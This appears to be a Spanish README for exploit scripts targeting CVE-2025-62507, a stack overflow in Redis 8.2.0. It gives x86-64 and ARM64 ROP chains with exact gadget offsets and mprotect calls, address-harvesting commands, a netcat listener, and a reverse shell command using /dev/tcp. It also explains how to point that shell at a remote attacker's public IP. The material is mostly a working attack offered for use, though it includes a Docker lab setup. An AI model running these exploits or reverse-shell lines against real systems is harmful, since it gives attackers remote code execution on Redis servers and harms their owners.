
Scripts de exploit para CVE-2025-62507, un desbordamiento de búfer de pila en Redis 8.2.0. Proporciona exploits de cadena ROP para x86-64 y ARM64 con generación de shellcode para shells inversos, incluyendo soporte de depuración GDB y un entorno vulnerable basado en Docker.
scripts/
├── exploit_x86.py # Exploit ROP para x86-64
├── exploit_arm64.py # Exploit ROP para ARM64 (AArch64)
└── gdb_with_symbols.sh # Script auxiliar de depuración con GDB
| Elemento | Descripción |
|---|---|
| CVE | CVE-2025-62507 |
| Tipo de vulnerabilidad | Desbordamiento de búfer en la pila (Stack Buffer Overflow) |
| Componente afectado | Función xackdelCommand de Redis 8.2.0 |
| Forma de activación | Comando XACKDEL con más de 52 streamID |
| Técnica de explotación | Cadena ROP → mprotect desbloquea ejecución en pila → shellcode reverse shell |
| Dependencias | Python 3 (solo biblioteca estándar, sin instalación adicional) |
nc -lvnp 4444 para esperar la shell inversa/proc/<PID>/maps del proceso objetivo (permisos root)socket, struct, time, sys)# Ejecutar desde la raíz del proyecto
docker compose -f docker-compose-vulnerable.yml up -d
# Verificar que el contenedor esté en ejecución
docker ps | grep redis-cve-2025-62507
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')
# Obtención de direcciones x86-64
REDIS_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep -w redis-server | head -1 | cut -d'-' -f1)
LIBC_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep libc.so | head -1 | cut -d'-' -f1)
STACK_ADDR=$(sudo cat /proc/$REDIS_PID/maps | grep -w stack | head -1 | cut -d'-' -f1)
echo "REDIS_BASE=$REDIS_BASE LIBC_BASE=$LIBC_BASE STACK_ADDR=$STACK_ADDR"
Nota: Las direcciones cambian tras cada reinicio del contenedor (ASLR), se deben obtener de nuevo.
# Abrir otra terminal en la máquina anfitriona
nc -lvnp 4444
# x86-64
python3 scripts/exploit_x86.py 0x$REDIS_BASE 0x$LIBC_BASE 0x$STACK_ADDR
# ARM64 (direcciones fijas en Docker QEMU, ASLR=OFF)
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 [rev_host] [rev_port] [target]
python3 scripts/exploit_x86.py <redis_base> <libc_base> <stack_addr>
| Parámetro | Significado | Cómo obtenerlo | Valor de ejemplo |
|---|---|---|---|
redis_base | Dirección base del ELF redis-server | Dirección de inicio del primer segmento de redis-server en /proc/PID/maps | 0x555555554000 |
libc_base | Dirección base de libc.so.6 | Dirección de inicio del primer segmento de libc.so en /proc/PID/maps | 0x7ffff75b3000 |
stack_addr | Dirección de inicio del segmento de pila del hilo | Dirección de inicio del segmento [stack] en /proc/PID/maps | 0x7ffffffde000 |
52 IDs de relleno (1-1)
│
▼
ID#53 overflow ──→ pop rdi; ret (redis + 0x82327)
ID#54 ──→ pop rsi; ret (redis + 0x86416)
ID#55 ──→ pop rdx; ret (redis + 0xba1e2)
ID#56 ──→ mprotect() (libc + 0x1019e0)
ID#57 ──→ call rsp (redis + 0x9486d)
ID#58+ ──→ shellcode ──→ system("/bin/bash -c '...'")
| Gadget | Desplazamiento | Descripción |
|---|---|---|
pop rdi; ret | 0x82327 | Establece el primer argumento de mprotect (addr) |
pop rsi; ret | 0x86416 | Establece el segundo argumento de mprotect (len) |
pop rdx; ret | 0xba1e2 | Establece el tercer argumento de mprotect (prot) |
call rsp | 0x9486d | Salta al shellcode en la pila |
mprotect (libc) | 0x1019e0 | Desbloquea la página de pila como RWX |
system (libc) | 0x4c490 | Ejecuta el comando de shell inversa |
La variable reverse_shell_cmd se define en la línea 149 del script, con valor predeterminado:
reverse_shell_cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"
Modificación: Editar exploit_x86.py, localizar la línea reverse_shell_cmd y reemplazar IP y puerto:
| Escenario | IP | Descripción |
|---|---|---|
Red host de Docker (predeterminado) | 127.0.0.1 | El contenedor comparte la pila de red con el anfitrión, 127.0.0.1 es el anfitrión |
Red bridge de Docker | 172.17.0.1 | Puerta de enlace bridge predeterminada, apunta al anfitrión |
| Ataque remoto | <IP pública del atacante> | El objetivo debe poder enrutar al puerto correspondiente del atacante |
Cambio de puerto: reemplazar 4444 en /dev/tcp/<IP>/4444 por el puerto real de escucha.
stack_pagese calcula dinámicamente según el parámetrostack_addr:(stack_addr + 0x1000) & ~0xFFF, asegurando que la ventana de mprotect cubra el área de pila donde se encuentra el shellcode. Si el diseño de la pila es anómalo, se debe ajustar en consecuencia.
python3 scripts/exploit_arm64.py <redis_base> <libc_base> <stack_addr> [rev_host] [rev_port] [target]
| Parámetro | Significado | Cómo obtenerlo | Valor de ejemplo |
|---|---|---|---|
redis_base | Dirección base del ELF redis-server-8.2.0-arm64 | Dirección de inicio del primer segmento de redis-server en /proc/PID/maps | 0xaaaaaaaa0000 |
libc_base | Dirección base de libc.so.6-arm64 | Dirección de inicio del primer segmento de libc.so en /proc/PID/maps | 0xfffff7630000 |
stack_addr | Valor de SP en la entrada de xackdelCommand (obtenido con GDB) | Observar SP en la entrada de xackdelCommand con un punto de interrupción de GDB | 0xfffffffff7e0 |
rev_host | (Opcional) IP de la máquina atacante para shell inversa | — | 192.168.1.1 |
rev_port | (Opcional) Puerto de escucha de shell inversa | — | 4444 |
target | (Opcional) IP del Redis objetivo | — | 192.168.1.129 |
Nota ARM64:
stack_addres el valor de SP en la entrada dexackdelCommand(¡no la dirección de inicio del segmento[stack]!).static_ids[0] = stack_addr - 0x310, el x30 guardado decall()está enstack_addr + 8(es decir,static_ids[49].seq).
49 IDs de relleno (1-1)
│
▼
ID#49-58 Marco de finalización de call() (10 IDs) — sobrescribe registros guardados y variables locales de call()
│ #49: x29 guardado (dummy) + x30 (G5)
│ #50: x19/x20 guardados, #51: x21(=0)/x22 guardados
│ #52: x23/x24, #53: x25/x26, #54: x27/x28
│ #55-58: variables locales (puestas a 0)
│
▼ ret de call() → SP = stack_addr + 0xa0
│
ID#59-61 Paso 1: G5 (redis + 0x1a4d40) x0=writable, → G_SET_X2_7
ID#62-65 Paso 2: G_SET_X2_7 (redis + 0x1d7a84) w2=7, → LDR_X1_SIDELOAD
ID#66-67 Paso 3: LDR_X1_SIDELOAD (libc + 0x34ab4) x1=0x1000, → G5
ID#68-70 Paso 4: G5 (redis + 0x1a4d40) x19=mprotect, → MOV_X3_X19
ID#71-93 Paso 5: MOV_X3_X19 (redis + 0x2948b0) x3=mprotect, → LDR_X0_CLEAN
ID#94-95 Paso 6: LDR_X0_CLEAN (libc + 0x6ae40) x0=stack_page, → BLR_X3
ID#96-98 Paso 7: BLR_X3 (redis + 0x92bc4) call mprotect → shellcode
ID#99+ shellcode — system("/bin/bash -c 'reverse_shell_cmd'")